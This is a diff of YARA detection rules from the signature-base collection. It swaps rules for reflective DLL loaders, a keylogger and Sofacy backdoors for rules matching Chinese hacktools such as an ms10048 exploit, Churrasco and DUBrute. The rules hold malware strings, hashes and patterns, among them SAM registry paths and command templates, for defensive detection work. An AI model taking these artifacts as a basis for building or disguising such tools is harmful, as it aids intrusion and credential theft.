+		id = "31c49755-f1bd-5ecb-91ff-1040e40983ab"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_loaders.yar#L102-L128"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f01b2cf754c3527d0d7fd44c28d3cdb9327762572b43a7d6f7667e5c2a26ab17"
-		score = 60
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L198-L217"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e34228345498a48d7f529dbdffcd919da2dea414"
+		logic_hash = "b0215d29c58c252c1717f08135eab65794a99ed669c2225bcba690ae7d7a034c"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c2a7a2d0b05ad42386a2bedb780205b7c0af76fe9ee3d47bbe217562f627fcae"
-		hash2 = "b90831aaf8859e604283e5292158f08f100d4a2d4e1875ea1911750a6cb85fe0"
 
 	strings:
-		$x1 = "\\ReflectiveDLLInjection-master\\" ascii
-		$s2 = "reflective_dll.dll" fullword ascii
-		$s3 = "DLL injection" fullword ascii
-		$s4 = "_ReflectiveLoader@4" ascii
-		$s5 = "Reflective Dll Injection" fullword ascii
+		$s0 = "S.failed_logins \"Failed Login Attempts\", " fullword ascii
+		$s7 = "SELECT ROLE, PASSWORD_REQUIRED FROM SYS.DBA_ROLES ORDER BY ROLE" fullword ascii
+		$s8 = "SELECT spid 'SPID', status 'Status', db_name (dbid) 'Database', loginame 'Login'" ascii
+		$s9 = "bcp.exe <:schema:>.<:table:> out \"<:file:>\" -n -S <:server:> -U <:user:> -P <:" ascii
+		$s11 = "L.login_policy_name AS \"Login Policy\", " fullword ascii
+		$s12 = "mailto:support@sqldbx.com" fullword ascii
+		$s15 = "S.last_login_time \"Last Login\", " fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="59867122bcc8c959ad307ac2dd08af79" or pe.exports("_ReflectiveLoader@4") or 2 of them )) or (3 of them )
+		uint16(0)==0x5a4d and 4 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Reflective_DLL_Loader_Aug17_3 : FILE
+rule SIGNATURE_BASE_Ms10048_X86 : FILE
 {
 	meta:
-		description = "Detects Reflective DLL Loader"
+		description = "Chinese Hacktool Set - file ms10048-x86.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "91842f58-5205-533d-9e97-a1e84fbf259d"
-		date = "2017-08-20"
-		modified = "2022-12-21"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_loaders.yar#L130-L154"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4fbba94e6d3dc7b4976c90c0f95683c548f3c444bf5eaf0a7c55d96150978a67"
+		id = "373f0419-5a7d-5f01-968c-5d3e7b1c0670"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L219-L237"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
+		logic_hash = "50e45cae87f5d1cc4903a16f9283dd751d90cde0c71f3124467b4ff15bd34f1b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d10e4b3f1d00f4da391ac03872204dc6551d867684e0af2a4ef52055e771f474"
 
 	strings:
-		$s1 = "\\Release\\inject.pdb" ascii
-		$s2 = "!!! Failed to gather information on system processes! " fullword ascii
-		$s3 = "reflective_dll.dll" fullword ascii
-		$s4 = "[-] %s. Error=%d" fullword ascii
-		$s5 = "\\Start Menu\\Programs\\reflective_dll.dll" ascii
+		$s1 = "[ ] Resolving PsLookupProcessByProcessId" fullword ascii
+		$s2 = "The target is most likely patched." fullword ascii
+		$s3 = "Dojibiron by Ronald Huizer, (c) master@h4cker.us ." fullword ascii
+		$s4 = "[ ] Creating evil window" fullword ascii
+		$s5 = "%sHANDLEF_INDESTROY" fullword ascii
+		$s6 = "[+] Set to %d exploit half succeeded" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="26ba48d3e3b964f75ff148b6679b42ec" or 2 of them )) or (3 of them )
+		uint16(0)==0x5a4d and filesize <100KB and 4 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Reflective_DLL_Loader_Aug17_4 : FILE
+rule SIGNATURE_BASE_Dos_Ch : FILE
 {
 	meta:
-		description = "Detects Reflective DLL Loader"
+		description = "Chinese Hacktool Set - file ch.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d2a28ea6-a3f7-5ceb-86fd-1e5b7f916a41"
-		date = "2017-08-20"
+		id = "2e8319de-fe54-5083-968c-4707d127f072"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_loaders.yar#L156-L176"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b988ea586589dced18f2165eff431be897b3e96fce2d124f5f41d52b520ccd76"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L239-L257"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "60bbb87b08af840f21536b313a76646e7c1f0ea7"
+		logic_hash = "49ab2c75267c2ed5c15c8fbdc6fa0f8826f6e7a45a2861d6ba4b293ffca6bcd6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "205b881701d3026d7e296570533e5380e7aaccaa343d71b6fcc60802528bdb74"
-		hash2 = "f76151646a0b94024761812cde1097ae2c6d455c28356a3db1f7905d3d9d6718"
 
 	strings:
-		$x1 = "<H1>&nbsp;>> >> >> Keylogger Installed - %s %s << << <<</H1>" fullword ascii
-		$s1 = "<H3> ----- Running Process ----- </H3>" fullword ascii
-		$s2 = "<H2>Operating system: %s<H2>" fullword ascii
-		$s3 = "<H2>System32 dir:  %s</H2>" fullword ascii
+		$s0 = "/Churraskito/-->Usage: Churraskito.exe \"command\" " fullword ascii
+		$s4 = "fuck,can't find WMI process PID." fullword ascii
+		$s5 = "/Churraskito/-->Found token %s " fullword ascii
+		$s8 = "wmiprvse.exe" fullword ascii
+		$s10 = "SELECT * FROM IIsWebInfo" fullword ascii
+		$s17 = "WinSta0\\Default" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <260KB and 3 of them
 }
-rule SIGNATURE_BASE_APT_NK_MAL_Keylogger_Unknown_Nov19_1 : FILE
+rule SIGNATURE_BASE_Dubrute_Dubrute : FILE
 {
 	meta:
-		description = "Detects unknown keylogger reported by CNMF in November 2019"
+		description = "Chinese Hacktool Set - file DUBrute.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5311d883-52e0-5503-9494-c583fabbedfe"
-		date = "2019-11-06"
+		id = "10aa2017-d563-5953-8672-dbc13ff6b3cf"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/CNMF_VirusAlert/status/1192131508007505921"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_nk_gen.yar#L2-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a3b5c82cb8aa09e3c1b955bb175046e86f96da1f187eb46df83caaaf9e1370b2"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L259-L275"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8aaae91791bf782c92b97c6e1b0f78fb2a9f3e65"
+		logic_hash = "1e6d8bd24a37e3f4b7de88989251ae904128ff1bf766d4a4408ff8990c6dfd2f"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "04d70bb249206a006f83db39bbe49ff6e520ea329e5fbb9c758d426b1c8dec30"
-		hash2 = "618a67048d0a9217317c1d1790ad5f6b044eaa58a433bd46ec2fb9f9ff563dc6"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "CKeyLogDlg::Keylogger_WriteFile" ascii
-		$x2 = "Keylog file is saved >>>>>> %s" fullword ascii
-		$x3 = "MicCap file is saved >>>>>> %s" fullword ascii
-		$x4 = "cr5cr33nc4p.dat" fullword ascii
-		$xc1 = { 73 74 61 74 75 73 00 00 5C 4B 65 79 6C 6F 67 }
-		$xc2 = { 5B 43 4D 69 63 43 61 70 44 6C 67 5D 2E 00 00 00
-               25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64
-               25 30 32 64 2E 77 61 76 }
-		$xc3 = { 25 73 00 00 25 73 5C 2A 2E 2A 00 00 61 62 00 00
-               5B 25 73 5D 20 75 70 6C 6F 61 64 20 66 61 69 6C
-               65 64 2E 00 72 62 00 00 5B 25 73 5D 20 6F 70 65
-               6E 20 66 61 69 6C 65 64 2E 00 00 00 2E 2E 00 00
-               5B 25 73 20 2D 3E 20 25 73 5D 20 63 6F 70 79 20
-               66 61 69 6C 65 64 }
-		$s1 = "%s\\cmd.exe /c %s" fullword ascii
-		$s2 = "File upload error occured in [CFSDlg::ProcessResultMessage]." fullword ascii
-		$s3 = "\\SAM\\Domains\\Account\\Users\\Names" ascii
-		$s4 = "%s_hist%d:%d:%s:%s:::" fullword ascii
-		$s5 = "CARAT_Ws2_32.dll" fullword ascii
-		$s6 = "PID [%s], open process failed." fullword ascii
+		$s1 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii
+		$s2 = "IP - 0; Login - 0; Password - 0; Combination - 0" fullword ascii
+		$s3 = "Create %d IP@Loginl;Password" fullword ascii
+		$s4 = "UBrute.com" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <=40000KB and (1 of ($x*) or 4 of them )
+		uint16(0)==0x5a4d and filesize <1020KB and all of them
 }
-rule SIGNATURE_BASE_Sofacy_Malware_Strangespaces : FILE
+rule SIGNATURE_BASE_Cookietools : FILE
 {
 	meta:
-		description = "Detetcs strange strings from Sofacy malware with many spaces"
+		description = "Chinese Hacktool Set - file CookieTools.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "60f99b88-f256-5289-852c-c0bf27f1cbd4"
-		date = "2015-12-04"
+		id = "893884e5-6f4c-5f67-9382-8bf1ee45a257"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_dec15.yar#L8-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ee8bbebaa0978d038424cee3775ba312476afa014ce0d57c73d6844f758116ca"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L277-L294"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b6a3727fe3d214f4fb03aa43fb2bc6fadc42c8be"
+		logic_hash = "7f8c59ef58a92db15d8965e54ed6e26834e268581581af2a0ff98a6f46564e7e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "Delete Temp Folder Service                                  " fullword wide
-		$s3 = " Operating System                        " fullword wide
-		$s4 = "Microsoft Corporation                                       " fullword wide
-		$s5 = " Microsoft Corporation. All rights reserved.               " fullword wide
+		$s0 = "http://210.73.64.88/doorway/cgi-bin/getclientip.asp?IP=" fullword ascii
+		$s2 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s3 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
+		$s8 = "OnGetPasswordP" fullword ascii
+		$s12 = "http://www.chinesehack.org/" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and 3 of them
+		uint16(0)==0x5a4d and filesize <5000KB and 4 of them
 }
-rule SIGNATURE_BASE_Sofacy_Malware_AZZY_Backdoor_1 : FILE
+rule SIGNATURE_BASE_Update_Pcinit : FILE
 {
 	meta:
-		description = "AZZY Backdoor - Sample 1"
+		description = "Chinese Hacktool Set - file PcInit.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "184dc45e-8014-5dcf-a033-d77586c60fdf"
-		date = "2015-12-04"
+		id = "71c34049-97a2-5611-a081-21a85f8631d9"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_dec15.yar#L25-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a9dc96d45702538c2086a749ba2fb467ba8d8b603e513bdef62a024dfeb124cb"
-		logic_hash = "9c99f218d856d374423cada147bc38c8319f9ebff1e43e012143fad7af992d29"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L296-L314"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a6facc4453f8cd81b8c18b3b3004fa4d8e2f5344"
+		logic_hash = "ee4b17dfb0d70464669edab1b7610efa607adb2918306ae6c50130024008a169"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "advstorshell.dll" fullword wide
-		$s1 = "advshellstore.dll" fullword ascii
-		$s2 = "Windows Advanced Storage Shell Extension DLL" fullword wide
+		$s1 = "\\svchost.exe" ascii
+		$s2 = "%s%08x.001" fullword ascii
+		$s3 = "Global\\ps%08x" fullword ascii
+		$s4 = "drivers\\" ascii
+		$s5 = "StrStrA" fullword ascii
+		$s6 = "StrToIntA" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and 2 of them
+		uint16(0)==0x5a4d and filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_Sofacy_AZZY_Backdoor_Implant_1 : FILE
+rule SIGNATURE_BASE_Dat_Nasllib : FILE
 {
 	meta:
-		description = "AZZY Backdoor Implant 4.3 - Sample 1"
+		description = "Chinese Hacktool Set - file NaslLib.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ec6bf8ca-ccb9-532e-8b0d-1fba59efa2da"
-		date = "2015-12-04"
+		id = "d5ce72a4-c2b0-50b2-85bb-acf0bfd354e0"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_dec15.yar#L42-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1bab1a3e0e501d3c14652ecf60870e483ed4e90e500987c35489f17a44fef26c"
-		logic_hash = "b6ddf1274ed78db0c7183e3cc8063c01e4d011bc2947ec05449f3fd0df2050e7"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L316-L331"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fb0d4263118faaeed2d68e12fab24c59953e862d"
+		logic_hash = "7d2f3c67fe78028a51ba01c88d7eb62c38fe3c918bb03eee41b6583bc464ad78"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\\tf394kv.dll" wide
-		$s2 = "DWN_DLL_MAIN.dll" fullword ascii
-		$s3 = "?SendDataToServer_2@@YGHPAEKEPAPAEPAK@Z" ascii
-		$s4 = "?Applicate@@YGHXZ" ascii
-		$s5 = "?k@@YGPAUHINSTANCE__@@PBD@Z" ascii
+		$s1 = "nessus_get_socket_from_connection: fd <%d> is closed" fullword ascii
+		$s2 = "[*] \"%s\" completed, %d/%d/%d/%d:%d:%d - %d/%d/%d/%d:%d:%d" fullword ascii
+		$s3 = "A FsSniffer backdoor seems to be running on this port%s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and 2 of them
+		uint16(0)==0x5a4d and filesize <1360KB and all of them
 }
-rule SIGNATURE_BASE_Sofacy_AZZY_Backdoor_Helperdll : FILE
+rule SIGNATURE_BASE_Dos_1 : FILE
 {
 	meta:
-		description = "Dropped C&C helper DLL for AZZY 4.3"
+		description = "Chinese Hacktool Set - file 1.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eae089a0-21dc-5d6e-a4bc-7181dc9b8b35"
-		date = "2015-12-04"
+		id = "3f1cc1b3-bce2-5a29-849e-ee7deb5e8809"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_dec15.yar#L61-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6cd30c85dd8a64ca529c6eab98a757fb326de639a39b597414d5340285ba91c6"
-		logic_hash = "100903551eeacf4266fc97a09949bdafe05e94698bed7cea295c8e970df22ec8"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L333-L347"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b554f0687a12ec3a137f321cc15e052ff219f28c"
+		logic_hash = "d4cf3e738743e5402602e045cf590b969dca2d6f7f1bdd57cc398df3392560d9"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "snd.dll" fullword ascii
-		$s1 = "InternetExchange" fullword ascii
-		$s2 = "SendData"
+		$s1 = "/churrasco/-->Usage: Churrasco.exe \"command to run\"" fullword ascii
+		$s2 = "/churrasco/-->Done, command should have ran as SYSTEM!" fullword ascii
+
+	condition:
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
+}
+rule SIGNATURE_BASE_Othertools_Servu : FILE
+{
+	meta:
+		description = "Chinese Hacktool Set - file svu.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b750d090-8726-5d21-98ba-6cb050cb7174"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L349-L365"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5c64e6879a9746a0d65226706e0edc7a"
+		logic_hash = "fda476bdcc0bb496331ca9f506a1221d401d8671d23f61f1b88219c688163169"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s0 = "MZKERNEL32.DLL" fullword ascii
+		$s1 = "UpackByDwing@" fullword ascii
+		$s2 = "GetProcAddress" fullword ascii
+		$s3 = "WriteFile" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint32(0)==0x454b5a4d and $s0 at 0 and filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_Sofacy_Collectorstealer_Gen1 : FILE
+rule SIGNATURE_BASE_Ustrrefadd : FILE
 {
 	meta:
-		description = "Generic rule to detect Sofacy Malware Collector Stealer"
+		description = "Chinese Hacktool Set - file ustrrefadd.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f9462dd9-f6b6-59f4-a443-12d6f3be444e"
-		date = "2015-12-04"
+		id = "e6701e7e-bb15-5e0c-822b-3e29342e083c"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_dec15.yar#L80-L97"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1b6693fa45fed5ed001d8fb4b43427c7036d95cb36b125e7242864d000085018"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L367-L384"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b371b122460951e74094f3db3016264c9c8a0cfa"
+		logic_hash = "e44f180e081494e28b35b4129eb2c1817ed3e83f23d86f0d3dd4dcf27941cdf1"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
-		hash2 = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
 
 	strings:
-		$s0 = "NvCpld.dll" fullword ascii
-		$s1 = "NvStop" fullword ascii
-		$s2 = "NvStart" fullword ascii
+		$s0 = "E-Mail  : admin@luocong.com" fullword ascii
+		$s1 = "Homepage: http://www.luocong.com" fullword ascii
+		$s2 = ": %d  -  " fullword ascii
+		$s3 = "ustrreffix.dll" fullword ascii
+		$s5 = "Ultra String Reference plugin v%d.%02d" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5a4d and filesize <320KB and all of them
 }
-rule SIGNATURE_BASE_Sofacy_Collectorstealer_Gen2 : FILE
+rule SIGNATURE_BASE_Xscanlib : FILE
 {
 	meta:
-		description = "File collectors / USB stealers - Generic"
+		description = "Chinese Hacktool Set - file XScanLib.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "03ced94f-de20-56c5-bf17-1ec7d8610684"
-		date = "2015-12-04"
+		id = "e1e2cfad-7cbb-51c3-9b55-648c47af641e"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_dec15.yar#L99-L116"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e917166adf6e1135444f327d8fff6ec6c6a8606d65dda4e24c2f416d23b69d45"
-		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
-		hash = "b1f2d461856bb6f2760785ee1af1a33c71f84986edf7322d3e9bd974ca95f92d"
-		logic_hash = "2086b4119bae17ec984665ea1e49d5f496a2cf6bf05ab507fe0cfb6e28039349"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L386-L402"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
+		logic_hash = "ff18c527df9ff2a4d72bcc5e4905d6f42877d42536edcb13608c6e0e6773aa63"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "msdetltemp.dll" fullword ascii
-		$s2 = "msdeltemp.dll" fullword wide
-		$s3 = "Delete Temp Folder Service" fullword wide
+		$s4 = "XScanLib.dll" fullword ascii
+		$s6 = "Ports/%s/%d" fullword ascii
+		$s8 = "DEFAULT-TCP-PORT" fullword ascii
+		$s9 = "PlugCheckTcpPort" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 2 of them
+		uint16(0)==0x5a4d and filesize <360KB and all of them
 }
-rule SIGNATURE_BASE_Sofacy_Collectorstealer_Gen3 : FILE
+rule SIGNATURE_BASE_Idtools_For_Winxp_Idttool : FILE
 {
 	meta:
-		description = "File collectors / USB stealers - Generic"
+		description = "Chinese Hacktool Set - file IdtTool.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d2ee1a22-6aae-51fc-9043-a7ba99769376"
-		date = "2015-12-04"
+		id = "c157d467-87f8-59d5-a3ba-e4fbeeba767d"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sofacy_dec15.yar#L118-L143"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
-		hash = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
-		logic_hash = "8e7f56013629d8b4d0c7600552590e8073deb16d5b6dced11444c2110b88f387"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L404-L419"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ebab6e4cb7ea82c8dc1fe4154e040e241f4672c6"
+		logic_hash = "9e14db3721afaba3ea5e9767afff593bf2b137306fe673acd7926bf6efc78391"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "NvCpld.dll" fullword ascii
-		$s4 = "NvStart" fullword ascii
-		$s5 = "NvStop" fullword ascii
-		$a1 = "%.4d%.2d%.2d%.2d%.2d%.2d%.2d%.4d" fullword wide
-		$a2 = "IGFSRVC.dll" fullword wide
-		$a3 = "Common User Interface" fullword wide
-		$a4 = "igfsrvc Module" fullword wide
-		$b1 = " Operating System                        " fullword wide
-		$b2 = "Microsoft Corporation                                       " fullword wide
+		$s2 = "IdtTool.sys" fullword ascii
+		$s4 = "Idt Tool bY tMd[CsP]" fullword wide
+		$s6 = "\\\\.\\slIdtTool" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and ( all of ($s*) and ( all of ($a*) or all of ($b*)))
+		uint16(0)==0x5a4d and filesize <25KB and all of them
 }
-rule SIGNATURE_BASE_APT_NK_Scarcruft_RUBY_Shellcode_XOR_Routine : APT
